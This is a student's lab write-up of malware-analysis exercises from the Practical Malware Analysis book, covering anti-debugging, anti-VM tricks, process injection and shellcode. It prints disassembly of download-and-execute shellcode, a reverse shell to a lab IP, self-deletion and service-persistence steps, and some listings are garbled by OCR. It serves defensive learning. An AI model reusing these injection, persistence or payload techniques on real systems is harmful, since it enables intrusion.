text:00401497          loc_401497:           ; CODE XREF: .text:00401497+8tj
text:00401497 68 C0 14 40 00
text:0040149C 64 FF 35 00 00 00 00
text:004014A3 64 89 25 00 00 00 00
text:004014A8 33 C9
text:004014AC F7 F1
text:004014E6 68 B4 33 40 00
text:004014B3 E8 D6 00 00 00
text:004014B8 83 C4 04
text:004014BB 5F
text:004014BC 5E
text:004014BD 5B
text:004014BE 5D
text:004014BF C9
text:004014C0 endp ; sp-analysis failed
text:004014BF

```

Figure 2. SEH

@0x40148c we can see that the malware is adding a SEH handler (0x4014C0) via fs:0. It then performs a divide by 0 error to trigger the SEH.

The handler download a file from a url and executes it via WinExec.

```

.text:004014C0          loc_4014C0:           ; DATA XREF: .text:004014C0+loc_401497fj
.text:004014C0 8B 64 24 00
.text:004014C4 64 A1 00 00 00 00
.text:004014CA 8B 00
.text:004014CC 8B 00
.text:004014CE 64 A3 00 00 00 00
.text:004014D4 83 C4 00
.text:004014D7 90
.text:004014D8 FF C0
.text:004014D9
.text:004014DA
.text:004014DA 48
.text:004014DB E8 00 00 00 00
.text:004014E0 55
.text:004014E1 8B EC
.text:004014E3 53
.text:004014E4 56
.text:004014E5 57
.text:004014E6 68 10 30 40 00
.text:004014EB E8 44 00 00 00
.text:004014F0 83 C4 00
.text:004014F3 68 40 30 40 00
.text:004014FB E8 37 00 00 00
.text:004014FD 83 C4 00
.text:00401500 6A 00
.text:00401502 6A 00
.text:00401504 68 40 30 40 00
.text:00401509 68 10 30 40 00
.text:0040150E 6A 00
.text:00401510 E8 73 00 00 00
.text:00401515 74 03
.text:00401517 75 01
.text:00401519 90
.text:0040151A
.text:0040151A          loc_40151A:           ; CODE XREF: .text:0040151A+8tj
.text:0040151A
.text:0040151A 6A 00
.text:0040151C 68 40 30 40 00
.text:00401521 FF 15 34 20 40 00
.text:00401527 6A 00
.text:00401529 FF 15 30 20 40 00

```

Figure 3. SEH Handler

iii. What URL does the malware use?

I decided to write a script to decode the url. the decoding function is simple... just negate the inputs.

Practical No. 9

a-Analyze the malware found in *Lab16-01.exe* using a debugger. This is the same malware as *Lab09-01.exe*, with added anti-debugging techniques.

i. Which anti-debugging techniques does this malware employ?

Based on the figures below, the anti debugging techniques used are

1. checking being debugged flag
2. checking process heap[10h]
3. checking NtGlobalFlag




Figure 1. Anti debugger

```
0: kd> dt !_PEB
_ntdll!_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged : UChar
+0x003 SpareBool : UChar
+0x004 Mutant : Ptr32 Void
+0x008 ImageBaseAddress : Ptr32 Void
+0x00c Ldr : Ptr32 _PEB_LDR_DATA
+0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS
+0x014 SubSystemData : Ptr32 Void
+0x018 ProcessHeap : Ptr32 Void
+0x01c FastPebLock : Ptr32 _RTL_CRITICAL_SECTION
+0x020 FastPebLockRoutine : Ptr32 Void
+0x024 FastPebUnlockRoutine : Ptr32 Void
+0x028 EnvironmentUpdateCount : Uint4B
+0x02c KernelCallbackTable : Ptr32 Void
+0x030 SystemReserved : [1] Uint4B
+0x034 AtlThunkSListPtr32 : Uint4B
+0x038 FreeList : Ptr32 _PEB_FREE_BLOCK
+0x03c TlsExpansionCounter : Uint4B
+0x040 TlsBitmap : Ptr32 Void
+0x044 TlsBitmapBits : [2] Uint4B
+0x04c ReadOnlySharedMemoryBase : Ptr32 Void
+0x050 ReadOnlySharedMemoryHeap : Ptr32 Void
+0x054 ReadOnlyStaticServerData : Ptr32 Ptr32 Void
+0x058 AnsiCodePageData : Ptr32 Void
+0x05c OemCodePageData : Ptr32 Void
+0x060 UnicodeCaseTableData : Ptr32 Void
+0x064 NumberOfProcessors : Uint4B
+0x068 NtGlobalFlag : Uint4B
+0x070 CriticalSectionTimeout : _LARGE_INTEGER
+0x078 HeapSegmentReserve : Uint4B
+0x07c HeapSegmentCommit : Uint4B
+0x080 HeapDeCommitTotalFreeThreshold : Uint4B
+0x084 HeapDeCommitFreeBlockThreshold : Uint4B
+0x088 NumberOfHeaps : Uint4B
```

Figure 2. the offset used




Figure 3. Checking process heap

ii. What happens when each anti-debugging technique succeeds?

It will self delete and then terminates by calling the subroutine @00401000.

```

push    esi
push    edi
push    104h      ; nSize
lea     eax, [ebp+Filename]
push    eax        ; lpFilename
push    0          ; hModule
call   ds:GetModuleFileNameA
push    104h      ; cchBuffer
lea     ecx, [ebp+Filename]
push    ecx        ; lpszShortPath
lea     edx, [ebp+Filename]
push    edx        ; lpszLongPath
call   ds:GetShortPathNameA
mov    edi, offset aDel ; "/c del "
lea     edx, [ebp+Parameters]
or     ecx, 0FFFFFFFh
xor    eax, eax
repne scasb
not    ecx
sub    edi, ecx
mov    esi, edi
mov    eax, ecx
mov    edi, edx
shr    ecx, 2
rep mousd
mov    ecx, eax
and    ecx, 3
rep mousb
lea    edi, [ebp+Filename]
lea    edx, [ebp+Parameters]
or     ecx, 0FFFFFFFh
xor    eax, eax
repne scasb
not    ecx
sub    edi, ecx
mov    esi, edi
mov    ebx, ecx
mov    edi, edx
or     ecx, 0FFFFFFFh
xor    eax, eax
repne scasb
add   edi, 0FFFFFFFh
mov    ecx, ebx
shr    ecx, 2
rep mousd
mov    ecx, ebx
and    ecx, 3
rep mousb
mov    edi, offset aNull ; ">> NUL"
lea    edx, [ebp+Parameters]
or     ecx, 0FFFFFFFh
xor    eax, eax
repne scasb
not    ecx
sub    edi, ecx
mov    esi, edi
mov    ebx, ecx
mov    edi, edx
or     ecx, 0FFFFFFFh
xor    eax, eax
repne scasb
add   edi, 0FFFFFFFh
mov    ecx, ebx
shr    ecx, 2
rep mousd
mov    ecx, ebx
and    ecx, 3
rep mousb
push    0          ; nShowCmd
push    0          ; lpDirectory
lea     eax, [ebp+Parameters]
push    eax        ; lpParameters
push    offset File  ; "cmd.exe"
push    0          ; lpOperation
push    0          ; hund
call   ds:ShellExecuteA
push    0          ; int
call   _exit
DeleteSelf endp

```

Figure 4. Self Delete & terminates

```
C:\Documents and Settings\Administrator\Desktop\BinaryCollection\Chapter_16L>Lab16-02.exe
usage: Lab16-02.exe <4 character password>
```

Figure 1. password required

ii. What happens when you run Lab16-02.exe and guess the command-line parameter?

```
C:\Documents and Settings\Administrator\Desktop\BinaryCollection\Chapter_16L>Lab16-02.exe
usage: Lab16-02.exe <4 character password>

C:\Documents and Settings\Administrator\Desktop\BinaryCollection\Chapter_16L>Lab16-02.exe aaaaa
Incorrect password, Try again.

C:\Documents and Settings\Administrator\Desktop\BinaryCollection\Chapter_16L>Lab16-02.exe aaaa
Incorrect password, Try again.

C:\Documents and Settings\Administrator\Desktop\BinaryCollection\Chapter_16L>_
```

Figure 2. Incorrect password

iii. What is the command-line password?

To get the command-line password, we can set breakpoint @0040123A to see what the malware is comparing the password against. However, on running the malware, the program simply terminates.

Name	Offset	Size	Value	Description
StartAddressOfRawData	00001000	4	00000000	
EndAddressOfRawData	00001004	4	00000000	
AddressOfIndex	00001008	4	0040003C	
AddressOfCallBacks	0000100C	4	00400044	
SizeOfZeroFill	00001010	4	00000000	
Characteristics	00001014	4	00000000	

Figure 3. Callbacks




Figure 6. byrrp@ss

The decoded password is “byrrp@ss”. However the strncmp will only compare the first 4 characters.




Figure 7. Correct Password

iv. Load Lab16-02.exe into IDA Pro. Where in the main function is strncmp found?

@0x40123A

```
.tls:00401233    mov    eax, [ebp+argv]
.tls:00401236    mov    ecx, [eax+4]
.tls:00401239    push   ecx          ; char *
.tls:0040123A    call   _strcmp
.tls:0040123F    add    esp, 0Ch
.tls:00401242    mov    [ebp+var_4], eax
.tls:00401245    cmp    [ebp+var_4], 0
.tls:00401249    inz    short loc 40125A
```

Figure 8. strcmp

v. What happens when you load this malware into OllyDbg using the default settings?

The program just terminates. In fact even if I am running it in command line but ollydbg is running in the background, the application will also terminates.

vi. What is unique about the PE structure of Lab16-02.exe?


There is a .tls section.

Name	Start	End	R	W	X	D	L	Align	Base	Type	Class	AD	es	ss	ds	fs	gs
.tls	00401000	00402000	R	-	X	-	L	para	0001	public	CODE	32	0000	0000	0004	FFFFFF	FFFFFF
.text	00402000	00407000	R	-	X	-	L	para	0002	public	CODE	32	0000	0000	0004	FFFFFF	FFFFFF
.idata	00407000	004070C8	R	-	-	-	L	para	0003	public	DATA	32	0000	0000	0004	FFFFFF	FFFFFF
.data	004070C8	00408000	R	-	-	-	L	para	0003	public	DATA	32	0000	0000	0004	FFFFFF	FFFFFF
.data	00408000	0040C000	R	W	-	-	L	para	0004	public	DATA	32	0000	0000	0004	FFFFFF	FFFFFF

Figure 9. .tls section

vii. Where is the callback located? (Hint: Use CTRL-E in IDA Pro.)

At address 0x00401060.



Figure

10. Ctrl-E

viii. Which anti-debugging technique is the program using to terminate immediately in the debugger and how can you avoid this check?

1. OLLYDBG window via FindWindowA
2. OutputDebugString to detect for debugger
3. BeingDebugged Flag via fs:[30h]+2

ix. What is the command-line password you see in the debugger after you disable the anti-debugging technique?

refer to solution for question iii.

x. Does the password found in the debugger work on the command line?

refer to solution for question iii.

xi. Which anti-debugging techniques account for the different passwords in the debugger and on the command line, and how can you protect against them?

1. OutputDebugString (nop out the callback function)
2. BeingDebuggedFlag (change the structure to set debug flag back to 0)

c. Analyze the malware in *Lab16-03.exe* using a debugger. This malware is similar to *Lab09-02.exe*, with certain modifications, including the introduction of anti-debugging techniques.

i. Which strings do you see when using static analysis on the binary?

these are the only strings of interest to us that we can observe statically.

's' .rdata:00405434 0000000B C user32.dll
's' .rdata:00405614 0000000D C KERNEL32.dll
's' .rdata:00405632 0000000C C SHELL32.dll
's' .rdata:0040564C 0000000B C WS2_32.dll
's' .data:00406034 00000008 C cmd.exe
's' .data:0040603C 00000008 C >> NUL
's' .data:00406044 00000008 C /c del
's' .data:0040605F 00000005 C \vQ\n\v\vb
... 0040612E 00000006

Figure 1. strings

ii. What happens when you run this binary?

Nothing happen. It just terminates.

iii. How must you rename the sample in order for it to run properly?

In ollydbg, we set breakpoint @0x401518 (strcmp) to see what the malware is comparing against. The executable name needs to be “qgr.exe”. However nothing happen when we attempt to run the malware via command line...

Address	Hex dump	ASCII	Flags
00401518	... E8 99020000 CALL Lab16-03.004017B0	...<	
0040151D	. 83C4 0C ADD ESP,0C		
00401520	. 83C0 TEST EAX,EAX		
00401522	. v74 0A JE SHORT Lab16-03.0040152E		
00401524	. B8 01000000 MOV EAX,1		
00401529	. vE9 6A010000 JNP Lab16-03.00401698		
0040152E	> 8085 6CFDFFFF LEA EAX,DWORD PTR SS:[EBP-294]		
00401534	. 50 PUSH EAX		
00401535	. 69 02020000 PUSH 202		
0040153D	. FF15 CCS040000 CALL DWORD PTR DS:[<&WS2_32.#115>]		
00401540	. 8985 50FDFFFF MOV DWORD PTR SS:[EBP-2B0],EAX		
00401546	. 83B0 50FDFFFF CMP DWORD PTR SS:[EBP-2B0],0		
0040154D	. v74 0A JE SHORT Lab16-03.00401559		
0040154F	. B8 01000000 MOV EAX,1		
00401554	. vE9 3F010000 JNP Lab16-03.00401698		
00401559	> 6A 00 PUSH 0		
0040155B	. 6A 00 PUSH 0		
0040155D	. 6A 00 PUSH 0		
0040155F	. 6A 06 PUSH 6		
00401561	. 6A 01 PUSH 1		
00401563	. 6A 02 PUSH 2		
00401566	. FF15 C0504000 CALL DWORD PTR DS:[<&WS2_32.WSASocketA>]		
00401568	. 8985 FCFBFFFF MOV DWORD PTR SS:[EBP-404],EAX		
00401571	. 83D0 FCFBFFFF CMP DWORD PTR SS:[EBP-404],-1		
00401578	. v75 0A JNZ SHORT Lab16-03.00401584		
0040157A	. B8 01000000 MOV EAX,1		
0040157F	. vE9 14010000 JNP Lab16-03.00401698		
00401584	> FF15 10504000 CALL DWORD PTR DS:[<&KERNEL32.GetTickCount>]		
00401588	. 8985 4CFDFFFF MOV DWORD PTR SS:[EBP-2B4],EAX		
00401590	. E8 68FAFFFF CALL Lab16-03.00401800		
00401595	. FF15 10504000 CALL DWORD PTR DS:[<&KERNEL32.GetTickCount>]		
00401596	. 8985 44FDFFFF MOV DWORD PTR SS:[EBP-2B0],EAX		
004015A1	. 88D0 44FDFFFF MOV ECX,DWORD PTR SS:[EBP-2B0]		
004015A7	. 2B80 4CFDFFFF SUB ECX,DWORD PTR SS:[EBP-2B4]		
004015AD	. 83F9 01 CMP ECX,1		
004015B8	. v76 05 JBE SHORT Lab16-03.004015B7		
004015B2	. 33C0 XOR EAX,EAX		
004015B4	. 8910 MOV DWORD PTR DS:[EAX],EDX		
004015B6	. C3 RETN		
004015B7	> 8085 00FFFFFF LEA EDX,DWORD PTR SS:[EBP-100]		
004015BD	. 52 PUSH EDX		
004017B0	004017B0=Lab16-03.004017B0		

Address	Hex dump	ASCII	Flags
00406000	00 00 00 00 00 00 00 00	0012FB64 0012FCE4 RSCII "qgr.exe"
00406002	00 00 00 00 2F 2C 40 00	...;/,0.	0012FB68 0012FBC0 RSCII "Lab16-03.exe"
00406010	00 00 00 00 00 00 00 00	0012FB6C 00000104
00406018	00 00 00 00 00 00 00 00	0012FB70 7C910208 ntdll.7C910208
00406020	00 00 00 00 00 00 00 00	0012FB74 FFFFFFFF
			0012FB78 7FFD5000
			0012FB7C 0012FB7C

Figure 2. qgr.exe




Figure 4.

QueryPerformanceCounter

By manually making sure that var_118 is set to 1 and not 2, we get the following filename; **peo.exe**.

Renaming the executable as **peo.exe** will do the trick in running the app properly.




Figure 5. peo.exe

iv. Which anti-debugging techniques does this malware employ?

The techniques used are all time based approach

1. QueryPerformanceCounter
2. GetTickCount
3. rdtsc (subroutine: @0x401300)

v. For each technique, what does the malware do if it determines it is running in a debugger?

1. [QueryPerformanceCounter](#) – determines what name should the executable be, in order to execute properly
2. [GetTickCount](#) – crashes the program by referencing a null pointer
3. [rdtsc](#) – call subroutine @0x004010E0; self delete

vi. Why are the anti-debugging techniques successful in this malware?

The malware purposely triggers division by 0 error that will cause any attached debugger to break and for the analyst to rectify. This action itself is time consuming as compared to a program without debugger attached throwing exception and letting SEH handler to do the job. Therefore the malware codes are able to determine whether a debugger is being attached just via the time difference.

vii. What domain name does this malware use?

adg.malwareanalysisbook.com




Figure 6. adg.malwareanalysisbook.com

d. Analyze the malware found in *Lab17-01.exe* inside VMware. This is the same malware as *Lab07-01.exe*, with added anti-VMware techniques.

i. What anti-VM techniques does this malware use?

The malware uses vulnerable instruction: **sidt, sldt and str**

Figure 1. sidt instruction

The malware issues the sidt instruction as shown above, which stores the contents of IDTR into the memory location pointed to by var_428. The IDTR is 6 bytes, and the fifth byte offset contains the start of the base memory address. That fifth byte is compared to 0xFF, the VMware signature. We can see that var_428+2 is set to var_420. Later on in the opcodes we can observe that var_420 is shifted right by 3 bytes thus pointing it to the 5th byte.

ii. If you have the commercial version of IDA Pro, run the IDA Python script from Listing 17-4 in Chapter 17 (provided here as `findAntiVM.py`). What does it find?

```
Number of potential Anti-VM instructions: 3
Anti-VM: 00401121
Anti-VM: 004011b5
Anti-VM: 00401204
```

Figure 2. 3 Anti-

VM instructions found

1. 00401121 – sldt
2. 004011b5 – sidt
3. 00401204 – str

iii. What happens when each anti-VM technique succeeds?

1. 00401121 – sldt; service created but thread to openurl is not created the program terminates.
2. 004011b5 – sidt; sub routine 0x401000 will be invoked, the program will be deleted
3. 00401204 – str; sub routine 0x401000 will be invoked, the program will be deleted

iv. Which of these anti-VM techniques work against your virtual machine?

None...

v. Why does each anti-VM technique work or fail?

It depends on the hardware and the vmware used.

vi. How could you disable these anti-VM techniques and get the malware to run?

1. nop the instruction
2. patch the jmp instruction

```

push    offset a_Umselfdel_bat ; ".\\umselfdel.bat"
push    eax                   ; Dest
call    ds:sprintf
lea     eax, [ebp+Dest]
push    offset aW             ; "w"
push    eax                   ; Filename
call    ds:Fopen
mov    edi, eax
add    esp, 10h
test   edi, edi
jz     short loc_10005634

```



```

push    esi
mov    esi, ds:fprintf
push    offset a@echoOff ; "@echo off\r\n"
push    edi           ; File
call    esi ; fprintf
push    offset aSelfkill ; ":selfkill\r\n"
push    edi           ; File
call    esi ; fprintf
lea     eax, [ebp+Filename]
push    eax
push    offset aAttribARSHS ; "attrib -a -r -s -h \"%s\"\r\n"
push    edi           ; File
call    esi ; fprintf
lea     eax, [ebp+Filename]
push    eax
push    offset aDelS    ; "del \"%s\"\r\n"
push    edi           ; File
call    esi ; fprintf
lea     eax, [ebp+Filename]
push    eax
push    offset aIfExistSGotoSe ; "if exist \"%s\" goto selfkill\r\n"
push    edi           ; File
call    esi ; fprintf
push    offset aDel0    ; "del %0\r\n"
push    edi           ; File
call    esi ; fprintf
add    esp, 3Ch
pop    esi

```

Figure 3. self delete

iv. What method of anti-VM is in use?

querying I/O communication port.

VMware uses virtual I/O ports for communication between the virtual machine and the host operating system to support functionality like copy and paste between the two systems. The port can be queried and compared with a magic number to identify the use of VMware.

The success of this technique depends on the x86 **in** instruction, which copies data from the I/O port specified by the source operand to a memory location specified by the destination operand. VMware monitors the use of the in instruction and captures the I/O destined for the




Figure 5. patching

vi. How could you permanently disable the anti-VM technique?

Just patch the above and make the changes to the disk. Based on Figure 5, we could also patch the string @ offset 10019034 -> 10019248 from [This is DVM]5 to [This is DVM]0 to disable the check.

vii. How does each installation export function work?

1. InstallRT

Inject dll into either iexplore.exe or a custom process name that is passed in as argument.

In brief the subroutine @1000D847 will do the following

1. Get the dll filename via [GetModuleFileNameA](#)
2. Get System Directory path via [GetSystemDirectoryA](#)
3. Copy the current dll into system directory with the same file name
4. Get the pid of a process; either iexplore.exe by default or a custom process name passed in as an argument
5. Get higher privilege by changing token to SeDebugPrivilege
6. Inject dll via CreateRemoteThread on the pid retrieved in 4.




Figure 6. Install RT

2. InstallSA

Install as a Service

In brief the subroutine @1000D847 will do the following

1. [RegOpenKeyExA](#) – HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
2. [RegQueryValueExA](#) – netsvcs
3. loop through the data to find either Irmon or a custom string passed in as an argument
4. [CreateServiceA](#) – with service name as Irmon or a custom string passed in as an argument
5. Add data to HKLM\SYSTEM\ControlSet001\Services\[Irmon | custom]\description
6. Creates a parameter key in HKLM\SYSTEM\CurrentControlSet\Services\[Irmon | custom]
7. Creates a Servicedll key in HKLM\SYSTEM\CurrentControlSet\Services\[Irmon | custom] with the path of the dll as the value

8. Start the service
9. Creates a win.ini file in windows directory
10. Writes a Completed key to SoftWare\MicroSoft\Internet Connection Wizard\
if SoftWare\MicroSoft\Internet Connection Wizard\ does not exists




Figure 7. InstallSA

3. InstallSB

It first calls sub routine 0x10005A0A to

1. Attain higher privileges via adjusting token to SeDebugPrivilege
2. It then gets the WinLogon Pid
3. It then get the windows version to determine which sfc dll name to use
4. It then uses CreateRemoteThread to get Winlogon process to disable file protection via sfc

It then calls the subroutine @0x1000DF22 to

1. It first query service config of **NtmsSvc** service
2. If service **dwStartType** is > 2, it will then change the service to **SERVICE_AUTO_START**
3. If then checks if the service is **running or paused**. If it is running or in paused state, it will **stop** the service.
4. It then queries **HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\Netsvc** values
5. It then gets the PID of svchost and check if the malicious module is loaded
6. backup c:\\windows\\system32\\ntmssvc.dll to c:\\windows\\system32\\ntmssvc.dll.obak
7. copy current dll to c:\\windows\\system32\\ntmssvc.dll
8. If ntmssvc.dll isn't loaded, the malware will then inject it into svchost
9. Starts the created service
10. Creates a win.ini file in windows directory
11. Writes a Completed key to "SoftWare\MicroSoft\Internet Connection Wizard\" if "SoftWare\MicroSoft\Internet Connection Wizard\" does not exists

```

.text:004019A5      jmp    loc_4019A71
.text:004019AA ; -----
.text:004019AA loc_4019AA:           ; CODE XREF: _main+11↑j
.push   2             ; int
.push   offset SubKey ; "SYSTEM\CurrentControlSet\Control\Deu"...
.push   80000002h     ; hKey
.call   CheckVHRegistry
.add    esp, 0Ch
.test  eax, eax
.jz    short loc_4019C9
.xor   eax, eax
jmp   loc_401A71
.text:004019C9 ; -----
.text:004019C9 loc_4019C9:           ; CODE XREF: _main+30↑j

```

Figure 6. Registry checking patch

Nop out the calling of this subroutine

```

.text:00401A19          mov    ecx, [ebp+hModule]
.text:00401A1F          push   ecx          ; hModule
.text:00401A20          call   MacAddress
.text:00401A25          add    esp, 4
.text:00401A28          mov    [ebp+lpAddress], eax
.text:00401A2B          cmp    [ebp+lpAddress], 0

```

Figure vii. Mac Address patching

Change the hash to AAAA AAAAh to invalidate the search

```

.text:00401450          pushn  0
.text:00401458          push   0F30D12A5h
.text:0040145D          call   checkHash
.text:00401462          add    esp, 8

```

Figure 8. Process Name Hash patching

Practical No. 10

a. Analyze the file *Lab19-01.bin* using *shellcode_launcher.exe*

i. How is the shellcode encoded?

The shellcode is alphabetically encoded. In figure 2, we can see the function responsible for decoding.

```

004011FC | . 41           INC ECX
004011FD | . 41           INC ECX
004011FE | . 41           INC ECX
004011FF | . 41           INC ECX
00401200 | . 33C9         XOR ECX, ECX
00401202 | . 66:B9 8D01   MOV CX, 18D
00401206 | . EB 17         JMP SHORT 0040121F
00401208 | $ 5E           POP ESI
00401209 | . 56           PUSH ESI
0040120A | . 8BFE         MOV EDI, ESI
0040120C | > AC           LODS BYTE PTR DS:[ESI]
0040120D | . 8AD0         MOV DL, AL
0040120F | . 80EA 41       SUB DL, 41
00401212 | . COE2 04       SHL DL, 4
00401215 | . AC           LODS BYTE PTR DS:[ESI]
00401216 | . 2C 41         SUB AL, 41
00401218 | . 02C2         ADD AL, DL
0040121A | . AA           STOS BYTE PTR ES:[EDI]
0040121B | . 49           DEC ECX
0040121C | . ^ 75 EE        JNZ SHORT 0040120C
0040121E | . C3           RETN
0040121F | > E8 E4FFFFFF   CALL 00401208
00401224 | . 89E5         MOV EBP, ESP
00401226 | . B1EC 40000000  SUB ESP, 40
0040122C | . E9 33414141   JMP 41815364
00401231 | $ 41           INC ECX
00401232 | . 41           INC ECX
00401233 | . 41           INC ECX

```

Lab19-01.00401231(guessed Arg1)

Figure 2. Decoding Function

ii. Which functions does the shellcode manually import?

We can use a tool called sctest to help us to emulate the shellcode.


```

remnux@remnux: ~/Desktop
File Edit Tabs Help
remnux@remnux:~/Desktop$ shellcode2exe.py -s Lab19-01.bin
Shellcode to executable converter
by Mario Vilas (mvilas at gmail dot com)

Reading string shellcode from file Lab19-01.bin
Generating executable file
Writing file Lab19-01.exe
Done.
remnux@remnux:~/Desktop$ sctest -Svs 1000000 < Lab19-01.bin > sctest-lab19.txt
remnux@remnux:~/Desktop$ 

```

Figure 3. sctest



The screenshot shows the sctest tool window with the title bar "sctest-lab19.txt". The menu bar includes "File", "Edit", "Search", "Options", and "Help". The main window displays the following shellcode output:

```

verbose = 1
unhooked call to GetCurrentProcess
stepcount 236074
HMODULE LoadLibraryA (
    LPCTSTR lpFileName = 0x00417369 =>
        = "URLMON";
) = 0x7df20000;
UINT GetSystemDirectory (
    LPTSTR lpBuffer = 0x004173b1 =>
        = "c:\WINDOWS\system32";
    UINT uSize = 128;
) = 19;
HRESULT URLDownloadToFile (
    LPUNKNOWN pCaller = 0x00000000 =>
        none;
    LPCTSTR szURL = 0x00417370 =>
        = "http://www.practicalmalwareanalysis.com/shellcode/annoy_user.exe";
    LPCTSTR szFileName = 0x004173b1 =>
        = "c:\WINDOWS\system32\1.exe";
    DWORD dwReserved = 0;
    LPBINDSTATUSCALLBACK lpfnCB = 0;
) = 0;
UINT WINAPI WinExec (
    LPCSTR lpCmdLine = 0x004173b1 =>
        = "c:\WINDOWS\system32\1.exe";
    UINT uCmdShow = 5;
) = 32;

```

Figure 4. sctest output

We can see that the shellcode uses LoadLibraryA, GetSystemDirectory, URLDownloadToFile and WinExec. We can also use ollydbg to see it live.

iii. What network host does the shellcode communicate with?

As seen in Figure 4, the shellcode communicates with http://www.practicalmalwareanalysis.com/shellcode/annoy_user.exe.

iv. What filesystem residue does the shellcode leave?

c:\windows\system32\1.exe

v. What does the shellcode do?

1. Download http://www.practicalmalwareanalysis.com/shellcode/annoy_user.exe.
2. Save the payload as c:\windows\system32\1.exe
3. Execute the payload

b- The file *Lab19-02.exe* contains a piece of shellcode that will be injected into another process and run. Analyze this file.



Figure 2. iexplore.exe is the targeted process

From figure 2, we can see that iexplore.exe path is passed into a function. The function then uses this path to CreateProcess.

ii. Where is the shellcode located?

To find the shellcode, I would first try to find the function call responsible for writing the shellcode into the remote process. **WriteProcessMemory** is a good place to start.

```

; int _cdecl ProcessInjection(DWORD dwProcessId, LPVOID lpBuffer, SIZE_T dwSize)
ProcessInjection proc near

NumberOfBytesWritten= dword ptr -14h
lpBaseAddress= dword ptr -10h
var_C= dword ptr -8h
hProcess= dword ptr -8
var_4= dword ptr -4
dwProcessId= dword ptr 0
lpBuffer= dword ptr 0Ch
dwSize= dword ptr 10h

push    ebp
mov     ebp, esp
sub    esp, 10h
mov     [ebp+lpProcess], B
mov     [ebp+lpBaseAddress], B
mov     [ebp+var_C], B
mov     [ebp+NumberOfBytesWritten], B
mov     [ebp+var_4], B
mov     eax, [esp+dwProcessId]
push    eax           ; dwProcessId
push    10h           ; lpDesiredAccess
call    dwOpenProcess
mov     [ebp+lpProcess], eax
cmp    [ebp+lpProcess], B
jne    short loc_4012B0

```





Figure 3. WriteProcessMemory

At address 0x00401230, we can see a function with a lpbuffer argument passed in along with the buffer size and a process id. It is not hard to guess that this function is responsible for opening a

```
.data:00407030 ;  
.data:00407030  
.data:00407030 loc_407030: jmp short loc_407043 ; DATA XREF: _main+C8To  
.data:00407030 ;  
.data:00407032 ;  
.data:00407032 ;  
.data:00407032 loc_407032: ; CODE XREF: .data:loc_407043+jp  
.data:00407032 pop edi  
.data:00407033 push small 18Fh  
.data:00407037 pop cx  
.data:00407039 mov al, 0E7h  
.data:0040703B ;  
.data:0040703B loc_40703B: ; CODE XREF: .data:0040703E+j  
.data:0040703B xor [edi], al  
.data:0040703D inc edi  
.data:0040703E loopw loc_40703B  
.data:00407041 jmp short loc_407048  
.data:00407043 ;  
.data:00407043 loc_407043: ; CODE XREF: .data:loc_407030+j  
.data:00407042 call loc_407032 ; CODE XREF: .data:loc_407030+j  
.data:00407048 ;  
.data:00407048 loc_407048: ; CODE XREF: .data:00407041+j  
.data:00407048 outsb  
.data:00407049 add ah, [esi+08h]  
.data:00407049 ;
```

Figure 6. Shellcode using call instruction and XOR

iv. Which functions does the shellcode manually import?

To analyze the shellcode, we can either extract the shellcode and run it using scTest or you can choose to use a simple trick that I be showing to break in the newly created process.

1. First break at WriteProcessMemory function
 2. Before the memory is written into the remote process we change the first byte of the shellcode (0x407030) to 0xCC (breakpoint)
 3. Attach debugger to the newly created IEXPLORE.exe
 4. Resume Lab19-02.exe in ollydbg
 5. The IEXPLORE.exe will break on executing the injected shellcode

On analyzing the shellcode, you will come across a function that is responsible for manually importing the following functions. You may also wish to break at CALL instructions in the shellcodes to trace where in the memory are the address coming from.

Address	Value	Comment
0014017F	50000000	
00140183	E80853FF	
00140187	FFFFFF28	
0014018B	7C801D7B	kernel32.LoadLibraryA
0014018F	7C80236B	kernel32.CreateProcessA
00140193	7C801E1A	kernel32.TerminateProcess
00140197	7C800DE85	kernel32.GetCurrentProcess
0014019B	71A86A55	ws2_32,WSAStartup
0014019F	71A8B86A	ws2_32,WSASocketA
001401A3	71AB4A07	ws2_32.connect
001401A7		
001401AB	00000000	
001401AF	00000000	
001401B3	00000000	
001401B7	00000000	
001401BB	00000000	
001401BF	00000000	
001401C3	00000000	
001401C7	00000000	

Figure 7. imports

v. What network hosts does the shellcode communicate with?

We set a breakpoint @ connect and analyze the SockAddr struct passed to it.




Figure 8. SockAddr Struct

$$\text{sin_port} = 0x3412 = 13330$$

$$\text{sin_addr} = 0xC0A8C802 = 192.168.200.2$$

Enter hex string
<input type="text" value="c0a8c802"/>
<input type="button" value="convert"/>

Hex string c0a8c802 is
192.168.200.2 (192.168.200.2)

Figure 9. Convert Hex to IP Address (online tool)

vi. What does the shellcode do?

Reverse shell(cmd.exe) to 192.168.200.2:13330. We can see that the shellcode executes CreateProcessA after connecting to the remote IP.




Figure 10. CreateProcessA

The following figure is a internal setup to see how the malware would behave on successful connection to the IP & port. As we have expected, a reverse shell connection is established.





Figure 11. Reverse shell connection established

c. Analyze the file *Lab19-03.pdf*. If you get stuck and can't find the shellcode, just skip that part of the lab and analyze file *Lab19-03_sc.bin* using *shellcode_launcher.exe*.

i. What exploit is used in this PDF?

Lets recce the pdf file first to get more insight. We can see that it contains /JS and /JavaScript elements. Which indicates that this pdf **might** be using javascript to exploit the pdf...



Figure

3. CVE-2008-2992; Printf buffer overflow

ii. How is the shellcode encoded?

Referring to Figure 3, we can easily see that the payload is unicode encoded by the %u symbol. We could convert it using a unicode2raw tool provided in remnux... or you can write your own simple tool to do it.



Figure4. unicode2raw

iii. Which functions does the shellcode manually import?

Before jumping straight into analyze the shellcode, we could use sctest to generate a nice little graph of the piece of shellcode we are analyzing.



Figure 5. sctest and dot




Figure 6. Flow Graph

Notice the `GetFileSize` at the bottom left, this indicates that the shellcode is attempting to open a file and is using `GetFileSize` to find the correct file handler. Perhaps more payload is in the file.

using shellcode_launcher.exe provided by the book, we could launch the shellcode in ollydbg with a open file handle to the pdf file.




Figure 7. shellcode_launcher

On running the malware, the program will break automatically. Manually set the new origin to the next instruction to resume program flow as shown below.




Figure 8. Set new origin to jmp instruction

If we look at the handles, we would see that the pdf file is in it as well.

The shellcodes then attempts to Load shell32 library followed by a search for ShellExecuteA as shown in Figure 11 to 13.




Figure 11. LoadLibraryA on shell32




Figure 12. finding ShellExecuteA address




Figure 15. PDF dropped in Temp\bar.pdf

v. What does the shellcode do?

